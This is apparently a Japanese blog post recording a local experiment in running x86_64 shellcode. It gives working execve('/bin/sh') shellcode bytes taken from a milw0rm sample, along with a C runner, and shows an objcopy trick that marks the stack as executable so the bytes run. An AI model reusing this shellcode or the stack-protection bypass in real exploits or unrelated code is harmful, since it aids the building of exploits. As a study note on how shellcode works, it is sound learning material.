x86_64環境でシェルコードを実行するコードをテスト。
元ネタのシェルコードはここ。
とりあえずこれはアセンブラのソースなので適当な名前で保存してgccの-cオプションでオブジェクトファイルに変換。
それをobjdump使ってバイトコードを出力、それをcharの配列にする。
そんな感じで出来たのがshelcode.cなんだけども、これをコンパイル&実行してもcoreを吐くだけでshellの実行はできない・・
スタック上のコードを実行できないようになっているんだろうと言うことで、Binary Hacksを開いてHACK #33を読む。
shellcode.cをgccの-cオプションでコンパイルして作成したオブジェクトファイルをreadelfコマンドで確認。
[Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 9] .note.GNU-stack PROGBITS 0000000000000000 00000113 0000000000000000 0000000000000000 0 0 1
なるほどFlagsに該当する値が入ってないようだ。
とりあえず値をcodeにしてみる。
$ objcopy --set-section-flags .note.GNU-stack=code shellcode.o shellcode2.o
objcopyでできたshellcode2.oをreadelfで確認するとフラグがセットされているのが分かる
[Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 9] .note.GNU-stack PROGBITS 0000000000000000 00000113 0000000000000000 0000000000000000 WX 0 0 1
これでshellcode2.oをgccでコンパイルして実行すると・・・
[masami@moon:~/dvl]% gcc shellcode2.o [masami@moon:~/dvl]% ./a.out sh-3.1$
無事にスタック上のバイトコードが実行できた。
これでちょっとしたことならdvlじゃなくてもテストが出来そう!
// shellcode.c // Howto build // $ gcc shellcode.c -c // $ objcopy --set-section-flags .note.GNU-stack=code shellcode.o shellcode2.o // $ gcc shellcode2.c // then run a.out // $ ./a.out // sh-3.1$ // #include#include // shell code was based on http://www.milw0rm.com/shellcode/2705 char shellcode[] = { "\x48\x31\xd2" // xor %rdx,%rdx "\x48\xbb\xff\x2f\x62\x69\x6e" // mov $0x68732f6e69622fff,%rbx "\x2f\x73\x68" "\x48\xc1\xeb\x08" // shr $0x8,%rbx "\x53" // push %rbx "\x48\x89\xe7" // mov %rsp,%rdi "\x48\x31\xc0" // xor %rax,%rax "\x50" // push %rax "\x57" // push %rdi "\x48\x89\xe6" // mov %rsp,%rsi "\xb0\x3b" // mov $0x3b,%al "\x0f\x05" // syscall "\x6a\x01" // pushq $0x1 "\x5f" // pop %rdi "\x6a\x3c" // pushq $0x3c "\x58" // pop %rax "\x0f\x05" // syscall }; int main(int argc, char **argv) { void (*fp) (void); fp = (void *) shellcode; fp(); return 0; }